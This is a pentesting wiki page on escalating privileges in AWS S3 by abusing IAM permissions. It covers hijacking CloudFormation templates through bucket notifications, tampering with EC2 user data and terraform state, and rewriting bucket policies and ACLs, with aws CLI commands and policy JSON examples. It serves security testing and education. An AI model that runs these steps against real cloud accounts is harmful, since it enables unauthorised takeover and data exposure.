# AWS - S3 Privesc

{{#include ../../../banners/hacktricks-training.md}}

## S3

### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`

An attacker with those permissions over interesting buckets might be able to hijack resources and escalate privileges.

For example, an attacker with those **permissions over a cloudformation bucket** called "cf-templates-nohnwfax6a6i-us-east-1" will be able to hijack the deployment. The access can be given with the following policy:

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "s3:PutBucketNotification",
        "s3:GetBucketNotification",
        "s3:PutObject",
        "s3:GetObject"
      ],
      "Resource": [
        "arn:aws:s3:::cf-templates-*/*",
        "arn:aws:s3:::cf-templates-*"
      ]
    },
    {
      "Effect": "Allow",
      "Action": "s3:ListAllMyBuckets",
      "Resource": "*"
    }
  ]
}
```

And the hijack is possible because there is a **small time window from the moment the template is uploaded** to the bucket to the moment the **template is deployed**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**.

![](<../../../images/image (174).png>)

The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\
For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)

### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>

These are the permissions to **get and upload objects to S3**. Several services inside AWS (and outside of it) use S3 storage to store **config files**.\
An attacker with **read access** to them might find **sensitive information** on them.\
An attacker with **write access** to them could **modify the data to abuse some service and try to escalate privileges**.\
These are some examples:

- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**.

### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file

It is very common that the [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files are being saved to blob storage of cloud providers, e.g. AWS S3. The file suffix for a state file is `.tfstate`, and the bucket names often also give away that they contain terraform state files. Usually, every AWS account has one such bucket to store the state files that show the state of the account.
Also usually, in real world accounts almost always all developers have `s3:*` and sometimes even business users have `s3:Put*`.

So, if you have the permissions listed over these files, there is an attack vector that allows you to gain RCE in the pipeline with the privileges of `terraform` - most of the time `AdministratorAccess`, making you the admin of the cloud account. Also, you can use that vector to do a denial of service attack by making `terraform` delete legitimate resources.

Follow the description in the *Abusing Terraform State Files* section of the *Terraform Security* page for directly usable exploit code:

{{#ref}}
../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
{{#endref}}

### `s3:PutBucketPolicy`

An attacker, that needs to be **from the same account**, if not the error `The specified method is not allowed will trigger`, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets.

```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
    "Id": "Policy1568185116930",
    "Version":"2012-10-17",
    "Statement":[
        {
            "Effect":"Allow",
            "Principal":{
                "AWS":"arn:aws:iam::123123123123:root"
            },
            "Action":"s3:ListBucket",
            "Resource":"arn:aws:s3:::somebucketname"
        },
        {
            "Effect":"Allow",
            "Principal":{
                "AWS":"arn:aws:iam::123123123123:user/username"
            },
            "Action":"s3:*",
            "Resource":"arn:aws:s3:::somebucketname/*"
        }
    ]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
  "Id": "Policy1568185116930",
  "Version": "2012-10-17",
  "Statement": [
  {
      "Sid": "Stmt1568184932403",
      "Action": [
        "s3:ListBucket"
      ],
      "Effect": "Allow",
      "Resource": "arn:aws:s3:::welcome",
      "Principal": "*"
  },
  {
    "Sid": "Stmt1568185007451",
    "Action": [
      "s3:GetObject"
    ],
    "Effect": "Allow",
    "Resource": "arn:aws:s3:::welcome/*",
    "Principal": "*"
  }
  ]
}
```

### `s3:GetBucketAcl`, `s3:PutBucketAcl`

An attacker could abuse these permissions to **grant him more access** over specific buckets.\
Note that the attacker doesn't need to be from the same account. Moreover the write access

```bash
# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
  "Owner": {
    "DisplayName": "<DisplayName>",
    "ID": "<ID>"
  },
  "Grants": [
  {
    "Grantee": {
      "Type": "Group",
      "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
    },
  "Permission": "FULL_CONTROL"
  }
  ]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
```

### `s3:GetObjectAcl`, `s3:PutObjectAcl`

An attacker could abuse these permissions to grant him more access over specific objects inside buckets.

```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
  "Owner": {
    "DisplayName": "<DisplayName>",
    "ID": "<ID>"
  },
  "Grants": [
  {
    "Grantee": {
      "Type": "Group",
      "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
    },
  "Permission": "FULL_CONTROL"
  }
  ]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
```

### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`

An attacker with these privileges is expected to be able to put an Acl to an specific object version

```bash
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
```

{{#include ../../../banners/hacktricks-training.md}}
